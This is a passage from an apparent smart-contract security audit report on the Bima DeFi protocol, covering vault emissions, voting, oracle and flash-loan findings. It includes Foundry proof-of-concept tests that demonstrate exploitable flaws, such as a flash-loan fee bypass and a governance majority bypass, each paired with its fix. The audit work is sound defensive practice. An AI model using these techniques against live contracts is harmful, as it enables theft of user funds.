Recommended Mitigation: In `AllocationVesting::transferPoints` perform the following storage update *before* all the other storage updates:

```
// update storage - if from has a positive preclaimed balance,
// transfer preclaimed amount in proportion to points tranferred
// to prevent point transfers being used to bypass the maximum preclaim limit
if(fromAllocation.preclaimed > 0) {
    uint96 preclaimedToTransfer = SafeCast.toUint96((uint256(fromAllocation.preclaimed) * points) /
                                                    fromAllocation.points);

    // this should never happen but sneaky users may try preclaiming and
    // point transferring using very small amounts so prevent this
    if(preclaimedToTransfer == 0) revert PositivePreclaimButZeroTransfer();

    allocations[to].preclaimed = toAllocation.preclaimed + preclaimedToTransfer;
    allocations[from].preclaimed = fromAllocation.preclaimed - preclaimedToTransfer;
}
```

Bima: Fixed in commits 8bcbf1b, 239fe50 & 0bfbd9a.

Cyfrin: Verified.

7.2.3 When `BabelVault` uses an `EmissionSchedule` but receivers have no voting weight, the vault's unallocated supply will decrease even though no tokens are being allocated

Description: When `BabelVault` uses an `EmissionSchedule` but receivers have no voting weight, the vault's unallocated supply will decrease even though no tokens are being allocated.

Impact: Tokens are effectively lost since the vault's unallocated supply decreases but no tokens are actually allocated to receivers.

Proof of Concept: Add the following PoC to `test/foundry/dao/VaultTest.t.sol`:

```
function test_allocateNewEmissions_unallocatedTokensDecreasedButZeroAllocated() external {
    // first need to fund vault with tokens
    test_setInitialParameters();

    // owner registers receiver
    address receiver = address(mockEmissionReceiver);
    vm.prank(users.owner);
    assertTrue(babelVault.registerReceiver(receiver, 1));

    // warp time by 1 week
    vm.warp(block.timestamp + 1 weeks);

    // cache state prior to allocateNewEmissions
    uint256 RECEIVER_ID = 1;
    uint16 systemWeek = SafeCast.toUint16(babelVault.getWeek());

    // entire supply still not allocated
    uint256 initialUnallocated = babelVault.unallocatedTotal();
    assertEq(initialUnallocated, INIT_BAB_TKN_TOTAL_SUPPLY);

    // receiver calls allocateNewEmissions
    vm.prank(receiver);
    uint256 allocated = babelVault.allocateNewEmissions(RECEIVER_ID);

    // verify BabelVault::totalUpdateWeek current system week
    assertEq(babelVault.totalUpdateWeek(), systemWeek);

    // verify unallocated supply reduced by weekly emission percent
    uint256 firstWeekEmissions = INIT_BAB_TKN_TOTAL_SUPPLY*INIT_ES_WEEKLY_PCT/MAX_PCT;
    assertTrue(firstWeekEmissions > 0);
    assertEq(babelVault.unallocatedTotal(), initialUnallocated - firstWeekEmissions);

    // verify emissions correctly set for current week
    assertEq(babelVault.weeklyEmissions(systemWeek), firstWeekEmissions);

    // verify BabelVault::lockWeeks reduced correctly
    assertEq(babelVault.lockWeeks(), INIT_ES_LOCK_WEEKS-INIT_ES_LOCK_DECAY_WEEKS);

    // verify receiver active and last processed week = system week
    (, bool isActive, uint16 updatedWeek) = babelVault.idToReceiver(RECEIVER_ID);
    assertEq(isActive, true);
    assertEq(updatedWeek, systemWeek);
    // however even though BabelVault::unallocatedTotal was reduced by the
    // first week emissions, nothing was allocated to the receiver
    assertEq(allocated, 0);

    // this is because EmissionSchedule::getReceiverWeeklyEmissions calls
    // IncentiveVoting::getReceiverVotePct which looks back 1 week, and receiver
    // had no voting weight and there was no total voting weight at all in that week
    assertEq(incentiveVoting.getTotalWeightAt(systemWeek-1), 0);
    assertEq(incentiveVoting.getReceiverWeightAt(RECEIVER_ID, systemWeek-1), 0);

    // tokens were effectively lost since the vault's unallocated supply decreased
    // but no tokens were actually allocated to receivers since there was no
    // voting weight
}
```

Run with: `orge test --match-test test_allocateNewEmissions_unallocatedTokensDecreasedButZeroAllocated`

Recommended Mitigation: If planning to use an `EmissionSchedule` with `BabelVault`, the safest mitigation is to ensure that at least one user always has:

- locked their tokens with `TokenLocker`
- registered their voting weight with `IncentiveVoting`
- voted for at least 1 emissions receiver

Another option is to changing the code of `EmissionSchedule::getTotalWeeklyEmissions` to:

1) call `IncentiveVoting::getTotalWeightWrite`
2) call `IncentiveVoting::getTotalWeightAt(week-1)` to get the total weight for the previous week
3) if total weight for previous week was 0, `EmissionSchedule::getTotalWeeklyEmissions` could return 0 and not modify any storage such as `lockWeeks`.

The risk is that this code change may have unintended consequences in other parts of the system.

Bima: We will use the first mitigation ensuring that at least one user has locked their tokens, registered their voting weights and voted for at least 1 emission receiver.

7.2.4 Disabled receiver can lose tokens that were allocated for past weeks if not regularly claiming emissions

Description: When a receiver is disabled by `Vault::setReceiverIsActive`, they can lose tokens which they were eligible to receive in past weeks if they have not been regularly claiming emissions.

Impact: A disabled receiver can lose tokens which they were eligible for.

Proof of Concept: A receiver can be disabled using `Vault::setReceiverIsActive`.

```
function setReceiverIsActive(uint256 id, bool isActive) external onlyOwner returns (bool success) {
    // revert if receiver id not associated with an address
    require(idToReceiver[id].account != address(0), "ID not set");

    // update storage - isActive status, address remains the same
    idToReceiver[id].isActive = isActive;

    emit ReceiverIsActiveStatusModified(id, isActive);

    success = true;
}
```

When a receiver claims allocated tokens using `Vault::allocateNewEmissions`, the allocated tokens for the past weeks will be added to the receiver if they are active but refunded to the unallocated supply if they have been disabled.

```
if (receiver.isActive) {
    allocated[msg.sender] += amount;

    emit IncreasedAllocation(msg.sender, amount);
}
// otherwise return allocation to the unallocated supply
else {
    uint256 unallocated = unallocatedTotal + amount;
    unallocatedTotal = SafeCast.toUint128(unallocated);
    ...
}
```

So a receiver can lose tokens if they are disabled without claiming the allocated tokens for past weeks, even though they were eligible to receive those tokens during those past weeks.

Similarly if a receiver is disabled then later enabled, when the receiver calls `Vault::allocateNewEmissions` they'll receive tokens for the past weeks they were disabled.

Recommended Mitigation: If this is not the intended behavior, `Vault::setReceiverIsActive` should claim already allocated tokens before disabling a receiver. Similarly when enabling a previously disabled receiver that receiver's updated week should be set to the current system week to prevent tokens being claimed for past weeks when the receiver was disabled.

Bima: Acknowledged.

7.2.5 `IncentiveVoting::unfreeze` doesn't remove votes if a user has voted with unfrozen weight prior to freezing

Description: `IncentiveVoting::unfreeze` doesn't remove votes if a user has voted with unfrozen weight prior to freezing.

Impact: Users keep their past votes unexpectedly after unfreezing their locks with `keepIncentivesVote = false`.

Proof of Concept: Add the PoC function to `test/foundry/dao/VaultTest.t.sol`:

```
function test_unfreeze_failToRemoveActiveVotes() external {
    // setup vault giving user1 half supply to lock for voting power
    _vaultSetupAndLockTokens(INIT_BAB_TKN_TOTAL_SUPPLY/2);

    // verify user1 has 1 unfrozen lock
    (ITokenLocker.LockData[] memory activeLockData, uint256 frozenAmount)
        = tokenLocker.getAccountActiveLocks(users.user1, 0);
    assertEq(activeLockData.length, 1); // 1 active lock
    assertEq(frozenAmount, 0); // 0 frozen amount
    assertEq(activeLockData[0].amount, 2147483647);
    assertEq(activeLockData[0].weeksToUnlock, 52);

    // register receiver
    uint256 RECEIVER_ID = _vaultRegisterReceiver(address(mockEmissionReceiver), 1);

    // user1 votes for receiver
    IIncentiveVoting.Vote[] memory votes = new IIncentiveVoting.Vote[](1);
    votes[0].id = RECEIVER_ID;
    votes[0].points = incentiveVoting.MAX_POINTS();
    vm.prank(users.user1);
    incentiveVoting.registerAccountWeightAndVote(users.user1, 52, votes);

    // verify user1 has 1 active vote
    votes = incentiveVoting.getAccountCurrentVotes(users.user1);
    assertEq(votes.length, 1);
    assertEq(votes[0].id, RECEIVER_ID);
    assertEq(votes[0].points, 10_000);

    // user1 freezes their lock
    vm.prank(users.user1);
    tokenLocker.freeze();

    // verify user1 has 1 frozen lock
    (activeLockData, frozenAmount) = tokenLocker.getAccountActiveLocks(users.user1, 0);
    assertEq(activeLockData.length, 0); // 0 active lock
    assertGt(frozenAmount, 0); // positive frozen amount

    // user1 unfreezes without keeping their past votes
    vm.prank(users.user1);
    tokenLocker.unfreeze(false); // keepIncentivesVote = false

    // BUT user1 still has 1 active vote which is not an intended design
    votes = incentiveVoting.getAccountCurrentVotes(users.user1);
    assertEq(votes.length, 1);
    assertEq(votes[0].id, RECEIVER_ID);
    assertEq(votes[0].points, 10_000);
}
```

Run with: `forge test --match-test test_unfreeze_failToRemoveActiveVotes`

Recommended Mitigation: `unfreeze` should remove votes even if `frozenWeight` is zero:

```
    function unfreeze(address account, bool keepVote) external returns (bool success) {
        // only tokenLocker can call this function
        require(msg.sender == address(tokenLocker));

        // get storage reference to account's lock data
        AccountData storage accountData = accountLockData[account];

        // cache account's frozen weight
        uint256 frozenWeight = accountData.frozenWeight;

-        // if frozenWeight == 0, the account was not registered so nothing needed
        if (frozenWeight > 0) {
            // same as before
        }
+       else if (!keepVote) {
+            // clear previous votes
+            if (accountData.voteLength > 0) {
+                _removeVoteWeights(account, getAccountCurrentVotes(account), 0);
+
+                accountData.voteLength = 0;
+                accountData.points = 0;
+
+                emit ClearedVotes(account, week);
+            }
+        }

        success = true;
    }
```

Bima: Fixed in commit 51a1a94.

Cyfrin: Verified.

7.2.6 `StorkOracleWrapper` downscales 18 decimal price to 8 decimals then `PriceFeed` upscales to 18 decimals resulting in inaccurate price

Description: `StorkOracleWrapper` returns hard-coded 8 decimals:

```
function decimals() external pure returns (uint8 dec) {
    dec = 8;
}
```

And its functions `getRoundData` and `latestRoundData` always downscale the native 18-decimal price to 8 decimals:

```
answer = int256(quantizedValue / 1e10);
```

But `PriceFeed` always converts Oracle values to 18 decimals:

```
uint256 public constant TARGET_DIGITS = 18;

function _scalePriceByDigits(uint256 _price, uint256 _answerDigits) internal pure returns (uint256
↪   scaledPrice) {
    if (_answerDigits == TARGET_DIGITS) {
        scaledPrice = _price;
    } else if (_answerDigits < TARGET_DIGITS) {
        // Scale the returned price value up to target precision
        scaledPrice = _price * (10 ** (TARGET_DIGITS - _answerDigits));
    } else {
        // Scale the returned price value down to target precision
        scaledPrice = _price / (10 ** (_answerDigits - TARGET_DIGITS));
    }
}
```

Impact: Asset prices used by the protocol will always lose 10 decimals of accuracy.

Recommended Mitigation: `StorkOracleWrapper` should not downscale the price to 8 decimals; it should return the native 18 decimal value.

Bima: Fixed in commit d952ac6.

Cyfrin: Verified.

7.2.7 No checks for L2 Sequencer being down

Description: Neither `PriceFeed.sol` (which is designed to work with Chainlink) nor `StorkOracleWrapper` (which has been created to allow `PriceFeed` to work with Stork Oracles) implement a check to test whether the L2 Sequencer is currently down.

When using Chainlink or other oracles with L2 chains like Arbitrum, smart contracts should check whether the L2 Sequencer is down to avoid stale pricing data that appears fresh.

Impact: Code can execute with prices that don't reflect the current pricing resulting in a potential loss of funds for users or the protocol.

Recommended Mitigation: Chainlink's official documentation provides an example implementation of checking L2 sequencers. Stork's publicly available documentation does not provide any such feed.

Bima: Acknowledged; Stork Oracle does not have an API for the L2 Sequencer status check at this time.

7.2.8 `PriceFeed` will use incorrect price when underlying aggregator reaches `minAnswer`

Description: `PriceFeed` which has been designed to work with Chainlink oracles will use incorrect price when underlying aggregator reaches `minAnswer`.

This occurs because Chainlink price feeds have in-built minimum & maximum prices they will return; if due to an unexpected event an asset's value falls below the price feed's minimum price, the oracle price feed will continue to report the (now incorrect) minimum price.

Impact: Code can execute with prices that don't reflect the current pricing resulting in a potential loss of funds for users/protocol.

Recommended Mitigation: Revert unless `minAnswer < answer < maxAnswer`. Additionally Stork Oracle (which may be used with `PriceFeed` via `StorkOracleWrapper`) has no publicly available documentation on its own behavior in this situation so we advise contacting them to ask about this.

Bima: We will be using `PriceFeed` purely with Stork Oracle not Chainlink, and Stork Oracle does not have min/max values.

7.2.9 Some `TroveManager` debt emission rewards can be lost

Description: `TroveManager` can earn token emission rewards from `BabelVault` if users vote for it to do so, and these rewards are distributed to users based either on debts or mints.

When creating a unit test scenario with all emissions going to `TroveManager` debt id, not all emissions appear to be distributed to users with open troves.

Impact: Not all the weekly token emissions allocated to `TroveManager` get distributed to users with open troves; some amounts are never distributed and effectively lost.

Proof of Concept: Add the PoC to `test/foundry/core/BorrowerOperationsTest.t.sol`:

```
function test_claimReward_someTroveManagerDebtRewardsLost() external {
    // setup vault giving user1 half supply to lock for voting power
    uint256 initialUnallocated = _vaultSetupAndLockTokens(INIT_BAB_TKN_TOTAL_SUPPLY/2);

    // owner registers TroveManager for vault emission rewards
    vm.prank(users.owner);
    babelVault.registerReceiver(address(stakedBTCTroveMgr), 2);

    // user votes for TroveManager debtId to get emissions
    (uint16 TM_RECEIVER_DEBT_ID, /*uint16 TM_RECEIVER_MINT_ID*/) = stakedBTCTroveMgr.emissionId();

    IIncentiveVoting.Vote[] memory votes = new IIncentiveVoting.Vote[](1);
    votes[0].id = TM_RECEIVER_DEBT_ID;
    votes[0].points = incentiveVoting.MAX_POINTS();

    vm.prank(users.user1);
    incentiveVoting.registerAccountWeightAndVote(users.user1, 52, votes);

    // user1 and user2 open a trove with 1 BTC collateral for their max borrowing power
    uint256 collateralAmount = 1e18;
    uint256 debtAmountMax
        = ((collateralAmount * _getScaledOraclePrice() / borrowerOps.CCR())
          - INIT_GAS_COMPENSATION);

    _openTrove(users.user1, collateralAmount, debtAmountMax);
    _openTrove(users.user2, collateralAmount, debtAmountMax);
```

```
// warp time by 1 week
vm.warp(block.timestamp + 1 weeks);

// calculate expected first week emissions
uint256 firstWeekEmissions = initialUnallocated*INIT_ES_WEEKLY_PCT/BIMA_100_PCT;
assertEq(firstWeekEmissions, 536870911875000000000000000);
assertEq(babelVault.unallocatedTotal(), initialUnallocated);

uint16 systemWeek = SafeCast.toUint16(babelVault.getWeek());

// no rewards in the same week as emissions
assertEq(stakedBTCTroveMgr.claimableReward(users.user1), 0);
assertEq(stakedBTCTroveMgr.claimableReward(users.user2), 0);

vm.prank(users.user1);
uint256 userReward = stakedBTCTroveMgr.claimReward(users.user1);
assertEq(userReward, 0);
vm.prank(users.user2);
userReward = stakedBTCTroveMgr.claimReward(users.user2);
assertEq(userReward, 0);

// verify emissions correctly set in BabelVault for first week
assertEq(babelVault.weeklyEmissions(systemWeek), firstWeekEmissions);

// warp time by 1 week
vm.warp(block.timestamp + 1 weeks);

// rewards for the first week can be claimed now
// users receive less?
assertEq(firstWeekEmissions/2, 268435455937500000000000000);
uint256 actualUserReward =     263490076563008042796633412;

assertEq(stakedBTCTroveMgr.claimableReward(users.user1), actualUserReward);
assertEq(stakedBTCTroveMgr.claimableReward(users.user2), actualUserReward);

// verify user1 rewards
vm.prank(users.user1);
userReward = stakedBTCTroveMgr.claimReward(users.user1);
assertEq(userReward, actualUserReward);

// verify user2 rewards
vm.prank(users.user2);
userReward = stakedBTCTroveMgr.claimReward(users.user2);
assertEq(userReward, actualUserReward);

// firstWeekEmissions = 536870911875000000000000000
// userReward * 2     = 526980153126016085593266824
//
// some rewards were not distributed and are effectively lost

// if either users tries to claim again, nothing is returned
assertEq(stakedBTCTroveMgr.claimableReward(users.user1), 0);
assertEq(stakedBTCTroveMgr.claimableReward(users.user2), 0);

vm.prank(users.user1);
userReward = stakedBTCTroveMgr.claimReward(users.user1);
assertEq(userReward, 0);
vm.prank(users.user2);
userReward = stakedBTCTroveMgr.claimReward(users.user2);
assertEq(userReward, 0);
```

```
    // refresh mock oracle to prevent frozen feed revert
    mockOracle.refresh();

    // user2 closes their trove
    vm.prank(users.user2);
    borrowerOps.closeTrove(stakedBTCTroveMgr, users.user2);

    uint256 secondWeekEmissions = (initialUnallocated -
    ↪  firstWeekEmissions)*INIT_ES_WEEKLY_PCT/BIMA_100_PCT;
    assertEq(secondWeekEmissions, 402653183906250000000000000);
    assertEq(babelVault.weeklyEmissions(systemWeek + 1), secondWeekEmissions);

    // warp time by 1 week
    vm.warp(block.timestamp + 1 weeks);

    // user2 can't claim anything as they withdrew
    assertEq(stakedBTCTroveMgr.claimableReward(users.user2), 0);
    vm.prank(users.user2);
    userReward = stakedBTCTroveMgr.claimReward(users.user2);
    assertEq(userReward, 0);

    // user1 gets almost all the weekly emissions apart
    // from an amount that is lost
    actualUserReward = 388085427183354818500070297;
    assertEq(stakedBTCTroveMgr.claimableReward(users.user1), actualUserReward);

    vm.prank(users.user1);
    userReward = stakedBTCTroveMgr.claimReward(users.user1);
    assertEq(userReward, actualUserReward);

    // weekly emissions 402653183906250000000000000
    // user1 received   388085427183354818500070297

    // user1 can't claim more rewards
    assertEq(stakedBTCTroveMgr.claimableReward(users.user1), 0);
    vm.prank(users.user1);
    userReward = stakedBTCTroveMgr.claimReward(users.user1);
    assertEq(userReward, 0);
}
```

Run with: `forge test --match-contract BorrowerOperationsTest --match-test test_claimReward_someTroveManagerDebtRewardsLost`

Recommended Mitigation: This issue was found towards the end of the audit when filling in missing test suite coverage so the cause has not yet been determined and remains for the protocol team to investigate using the test suite. One way to prevent the issue is by not enabling `TroveManager` debtId emission rewards in `BabelVault`. The same issue may affect `TroveManager` mintId rewards.

Bima: Acknowledged.

7.3 Low Risk

7.3.1 Implementation contracts should inherit from their interfaces enabling compile-time checks ensuring implementations correctly implement their interfaces

Description: Implementation contracts don't inherit from their interfaces which prevents compile-time checks that interfaces are correctly implemented. The interfaces and implementations also contain a lot of copy & paste duplicate definitions.

For example, examine the interface `IPriceFeed.sol` which contains:

```
function setOracle(
    address _token,
    address _chainlinkOracle,
    bytes4 sharePriceSignature,
    uint8 sharePriceDecimals,
    bool _isEthIndexed
) external;

function RESPONSE_TIMEOUT() external view returns (uint256);

function oracleRecords(
    address
)
    external
    view
    returns (
        address chainLinkOracle,
        uint8 decimals,
        bytes4 sharePriceSignature,
        uint8 sharePriceDecimals,
        bool isFeedWorking,
        bool isEthIndexed
    );
```

Then examine the implementation `PriceFeed.sol` (1, 2, 3) which fails to correctly implement the `IPriceFeed` interface:

```
struct OracleRecord {
    IAggregatorV3Interface chainLinkOracle;
    uint8 decimals;
    // @audit extra `heartbeat` members breaks interface `IPriceFeed::oracleRecords`
    uint32 heartbeat;
    bytes4 sharePriceSignature;
    uint8 sharePriceDecimals;
    bool isFeedWorking;
    bool isEthIndexed;

// @audit different name breaks interface `IPriceFeed::RESPONSE_TIMEOUT`
uint256 public constant RESPONSE_TIMEOUT_BUFFER = 1 hours;

function setOracle(
    address _token,
    address _chainlinkOracle,
    // @audit extra `heartbeat` members breaks interface `IPriceFeed::setOracle`
    uint32 _heartbeat,
    bytes4 sharePriceSignature,
    uint8 sharePriceDecimals,
    bool _isEthIndexed
) public onlyOwner {
}
```

Impact: Attempting to call `IPriceFeed::setOracle` reverts as it is missing the `_heartbeat` parameter in the interface. Similarly calling `IPriceFeed::oracleRecords` also reverts for the same reason and calling `IPriceFeed::RESPONSE_TIMEOUT` reverts as the implementation has a different name for the variable.

Recommended Mitigation: Implementation contracts should inherit from their interfaces.

Bima: Fixed in PR39 for all contracts except `DebtToken` and `BabelToken` which are dependent on external libraries whose interfaces we don't control.

Cyfrin: Resolved.

7.3.2 `DebtToken::flashLoan` fees can be bypassed by borrowing in small amounts

Description: `DebtToken::flashLoan` fees can be bypassed by borrowing in small amounts to trigger rounding down to zero precision loss in fee calculation. Since this function allows re-entrancy, the function can be re-entered multiple times to borrow larger amounts with zero fee.

Impact: Flash loan fees can be bypassed.

Proof of Concept: Add following test contract to `test/foundry/core/DebtTokenTest.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

// test setup
import {TestSetup, DebtToken} from "../TestSetup.sol";

contract DebtTokenTest is TestSetup {

    function test_flashLoan() external {
        // entire supply initially available to borrow
        assertEq(debtToken.maxFlashLoan(address(debtToken)), type(uint256).max);

        // expected fee for borrowing 1e18
        uint256 borrowAmount = 1e18;
        uint256 expectedFee  = borrowAmount * debtToken.FLASH_LOAN_FEE() / 10000;

        // fee should be > 0
        assertTrue(expectedFee > 0);

        // fee should exactly equal
        assertEq(debtToken.flashFee(address(debtToken), borrowAmount), expectedFee);

        // exploit rounding down to zero precision loss to get free flash loans
        // by borrowing in small amounts
        borrowAmount = 1111;
        assertEq(debtToken.flashFee(address(debtToken), borrowAmount), 0);

        // as DebtToken::flashLoan allows re-entrancy, the function can be re-entered
        // multiple times to borrow larger amounts at zero fee
    }
}
```

Run with: `forge test --match-test test_flashLoan`

Recommended Mitigation: `DebtToken::_flashFee` should revert if calculated fee is zero:

```
function _flashFee(uint256 amount) internal pure returns (uint256 fee) {
    fee = (amount * FLASH_LOAN_FEE) / 10000;
    require(fee > 0, "ERC20FlashMint: amount too small");
}
```

Bima: Fixed in commit ddab178.

Cyfrin: Verified.

7.3.3 Using `ecrecover` directly vulnerable to signature malleability

Description: `DebtToken::permit` and `BabelToken::permit` call `ecrecover` directly but due to the symmetrical nature of the elliptic curve for every `[v,r,s]` there exists another `[v,r,s]` that returns the same valid result.

Impact: Usage of `ecrecover` directly is vulnerable to signature malleability.

Recommended Mitigation: Use OpenZeppelin's ECDSA library with a version of OpenZeppelin >= 4.7.3.

Bima: Fixed in commit 343a449.

Cyfrin: Verified.

7.3.4 Proposal creation bypasses minimum voting weight requirement when no tokens are locked hence no voting power exists

Description: `AdminVoting::minCreateProposalPct` specifies the minimum voting weight required to create proposals, however this is bypassed allowing anyone to create proposals when no tokens are locked and hence no voting power exists.

Proof of Concept: Firstly change `test/foundry/TestSetup.sol` to warp time forward in `setUp`:

```
function setUp() public virtual {
    // prevent Foundry from setting block.timestamp = 1 which can cause
    // errors in this protocol
    vm.warp(1659973223);

```

Then add the following test contract to `/test/foundry/dao/AdminVotingTest.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import {AdminVoting} from "../../../contracts/dao/AdminVoting.sol";

// test setup
import {TestSetup} from "../TestSetup.sol";

contract AdminVotingTest is TestSetup {
    AdminVoting adminVoting;

    uint256 constant internal INIT_MIN_CREATE_PROP_PCT = 10;   // 0.01%
    uint256 constant internal INIT_PROP_PASSING_PCT    = 2000; // 20%

    function setUp() public virtual override {
        super.setUp();

        adminVoting = new AdminVoting(address(babelCore),
                                      tokenLocker,
                                      INIT_MIN_CREATE_PROP_PCT,
                                      INIT_PROP_PASSING_PCT);
    }

    function test_constructor() external view {
        // parameters correctly set
        assertEq(adminVoting.minCreateProposalPct(), INIT_MIN_CREATE_PROP_PCT);
        assertEq(adminVoting.passingPct(), INIT_PROP_PASSING_PCT);
        assertEq(address(adminVoting.tokenLocker()), address(tokenLocker));

        // week initialized to zero
        assertEq(adminVoting.getWeek(), 0);
        assertEq(adminVoting.minCreateProposalWeight(), 0);

        // no proposals
        assertEq(adminVoting.getProposalCount(), 0);
    }

    function test_createNewProposal_inInitialState() external {
        // create dummy proposal
        AdminVoting.Action[] memory payload = new AdminVoting.Action[](1);
        payload[0].target = address(0x0);
        payload[0].data   = abi.encode("");

        uint256 lastProposalTimestamp = adminVoting.latestProposalTimestamp(users.user1);
        assertEq(lastProposalTimestamp, 0);

        // verify expected failure condition
        vm.startPrank(users.user1);
        vm.expectRevert("No proposals in first week");
        adminVoting.createNewProposal(users.user1, payload);

        // advance time by 1 week
        vm.warp(block.timestamp + 1 weeks);
        uint256 weekNum = 1;
        assertEq(adminVoting.getWeek(), weekNum);

        // verify there are no tokens locked
        assertEq(tokenLocker.getTotalWeightAt(weekNum), 0);

        // even though there are no tokens locked so users have no voting weight,
        // a user with no voting weight can still create a proposal!
        adminVoting.createNewProposal(users.user1, payload);
        vm.stopPrank();

        // verify proposal has been created
        assertEq(adminVoting.getProposalCount(), 1);

        // attempting to execute the proposal fails with correct error
        uint256 proposalId = 0;
        vm.expectRevert("Not passed");
        adminVoting.executeProposal(proposalId);

        // attempting to vote on the proposal fails with correct error
        vm.expectRevert("No vote weight");
        vm.prank(users.user1);
        adminVoting.voteForProposal(users.user1, proposalId, 0);

        // so this can't be exploited further
    }
}
```

Run with: `forge test --match-contract AdminVotingTest`.

Recommended Mitigation: Prevent proposal creation when there is no total voting weight for that week by changing `AdminVoting::minCreateProposalWeight` to revert in this case:

```
    function minCreateProposalWeight() public view returns (uint256) {
        uint256 week = getWeek();
        if (week == 0) return 0;
        week -= 1;

        uint256 totalWeight = tokenLocker.getTotalWeightAt(week);
+       require(totalWeight > 0, "Zero total voting weight for given week");

        return (totalWeight * minCreateProposalPct) / MAX_PCT;
    }
```

Bima: Fixed in commit 2452681.

Cyfrin: Verified.

7.3.5 Easily bypass `setGuardian` proposal passing requirement

Description: `AdminVoting::createNewProposal` calls `_isSetGuardianPayload` to detect whether a proposal contains a call to `IBabelCore.setGuardian`. If `true` then it requires a 50.1% majority in order for the `setGuardian` proposal to succeed, otherwise it uses the configured proposal pass percentage which is expected to be lower.

However this only works if there is only 1 payload and that payload calls `IBabelCore.setGuardian`. A malicious actor can easily bypass this by creating a proposal with 2 payloads where the second payload just does nothing.

Impact: A malicious actor can easily create a malicious `setGuardian` proposal that can be passed with the lower pass percentage, bypassing the requirement for a 50.1% majority on `setGuardian` proposals.

Proof of Concept: Add the PoC function to `test/foundry/dao/AdminVotingTest.t.sol`:

```
function test_createNewProposal_setGuardian() external {
    // create a setGuardian proposal that also contains a dummy proposal
    AdminVoting.Action[] memory payload = new AdminVoting.Action[](2);
    payload[0].target = address(0x0);
    payload[0].data   = abi.encode("");
    payload[1].target = address(babelCore);
    payload[1].data   = abi.encodeWithSelector(IBabelCore.setGuardian.selector, users.user1);

    // lock up user tokens to receive voting power
    vm.prank(users.user1);
    tokenLocker.lock(users.user1, INIT_BAB_TKN_TOTAL_SUPPLY, 52);

    // warp forward BOOTSTRAP_PERIOD so voting power becomes active
    // and setGuardian proposals are allowed
    vm.warp(block.timestamp + adminVoting.BOOTSTRAP_PERIOD());

    // create the proposal
    vm.prank(users.user1);
    adminVoting.createNewProposal(users.user1, payload);

    // verify requiredWeight is 50.1% majority for setGuardian proposals
    assertEq(adminVoting.getProposalRequiredWeight(0),
             (tokenLocker.getTotalWeight() * adminVoting.SET_GUARDIAN_PASSING_PCT()) /
             adminVoting.MAX_PCT());

    // fails since the first dummy payload evaded detection of the
    // second setGuardian payload
}
```

Run with: `forge test --match-test test_createNewProposal_setGuardian`

Recommended Mitigation: Rename `AdminVoting::_isSetGuardianPayload` to `_containsSetGuardianPayload` and have it iterate through every element of the payload; if any payload element contains a call to `IBabelCore.setGuardian` then it should enforce the 50.1% requirement for that proposal:

```
function _containsSetGuardianPayload(uint256 payloadLength, Action[] memory payload) internal view
↪  returns (bool) {
    for(uint256 i; i<payloadLength; i++) {
        bytes memory data = payload[i].data;

        // Extract the call sig from payload data
        bytes4 sig;
        assembly {
            sig := mload(add(data, 0x20))
        }

        if(sig == IBabelCore.setGuardian.selector) return true;
    }

    return false;
}
```

Bima: Fixed in commit 0e4e2c8.

Cyfrin: Verified.

7.3.6 Don't allow cancellation of executed or cancelled proposals

Description: `AdminVoting::cancelProposal` and `InterimAdmin::cancelProposal` allow cancellation of executed or cancelled proposals which doesn't make logical sense and may mislead guardian as to the exact state of the proposal.

Recommended Mitigation: Prevent cancellation of executed or already cancelled proposals:

```
function cancelProposal(uint256 id) external {
    require(msg.sender == babelCore.guardian(), "Only guardian can cancel proposals");
    require(id < proposalData.length, "Invalid ID");

    Action[] storage payload = proposalPayloads[id];
    require(!_containsSetGuardianPayload(payload.length, payload), "Guardian replacement not
    ↪  cancellable");
+   require(!proposalData[id].processed, "Already processed");
    proposalData[id].processed = true;
    emit ProposalCancelled(id);
}
```

Bima: Fixed in commits 18760cb and 97320f4.

Cyfrin: Verified.

7.3.7 `TokenLocker::getTotalWeightAt` should loop until input `week` not `systemWeek`

Description: `TokenLocker::getTotalWeightAt` should loop until input `week` not `systemWeek`:

```
- while (updatedWeek < systemWeek) {
+ while (updatedWeek < week) {
```

The current implementation returns the wrong output when `week < systemWeek` and the previous weekly writes have not occurred which triggers processing of the final `while` loop, since it counts all the way up to `systemWeek` instead of stopping once reaching the input `week`.

A similar function getAccountWeightAt does this final loop correctly counting only up to the input week. Other similar functions IncentiveVoting::getReceiverWeightAt and getTotalWeightAt also implement this correctly counting only up to the input week.

Bima: Fixed in commit dada78b.

Cyfrin: Verified.

7.3.8 Less tokens can be allocated to emission receivers than weekly emissions due to precision loss from division before multiplication

Description: BabelVault allows one or more emission receivers to be created and IncentiveVoting allows token lockers to vote for how the weekly token emissions should be distributed. Note that:

- IncentiveVoting::getReceiverVotePct performs a division by totalWeeklyWeights[week]
- EmissionSchedule::getReceiverWeeklyEmissions multiplies the previously-divided returned amount before dividing it again

This causes precision loss due to division before multiplication such that the sum of the amounts allocated to individual receivers is less than the total weekly emission amount.

Impact: The difference between the total weekly emission amount and the sum of the amounts allocated to receivers is lost.

Proof of Concept: Add the following PoC function to test/foundry/dao/VaultTest.t.sol:

```
function test_allocateNewEmissions_twoReceiversWithUnequalExtremeVotingWeight() public {
    // setup vault giving user1 half supply to lock for voting power
    uint256 initialUnallocated = _vaultSetupAndLockTokens(INIT_BAB_TKN_TOTAL_SUPPLY/2);

    // helper registers receivers and performs all necessary checks
    address receiver = address(mockEmissionReceiver);
    uint256 RECEIVER_ID = _vaultRegisterReceiver(receiver, 1);

    // owner registers second emissions receiver
    MockEmissionReceiver mockEmissionReceiver2 = new MockEmissionReceiver();
    address receiver2 = address(mockEmissionReceiver2);
    uint256 RECEIVER2_ID = _vaultRegisterReceiver(receiver2, 1);

    // user votes for both receivers to get emissions but with
    // extreme voting weights (1 and Max-1)
    IIncentiveVoting.Vote[] memory votes = new IIncentiveVoting.Vote[](2);
    votes[0].id = RECEIVER_ID;
    votes[0].points = 1;
    votes[1].id = RECEIVER2_ID;
    votes[1].points = incentiveVoting.MAX_POINTS()-1;

    vm.prank(users.user1);
    incentiveVoting.registerAccountWeightAndVote(users.user1, 52, votes);

    // warp time by 1 week
    vm.warp(block.timestamp + 1 weeks);

    // cache state prior to allocateNewEmissions
    uint16 systemWeek = SafeCast.toUint16(babelVault.getWeek());

    // initial unallocated supply has not changed
    assertEq(babelVault.unallocatedTotal(), initialUnallocated);

    // receiver calls allocateNewEmissions
    vm.prank(receiver);
    uint256 allocated = babelVault.allocateNewEmissions(RECEIVER_ID);
    // verify BabelVault::totalUpdateWeek current system week
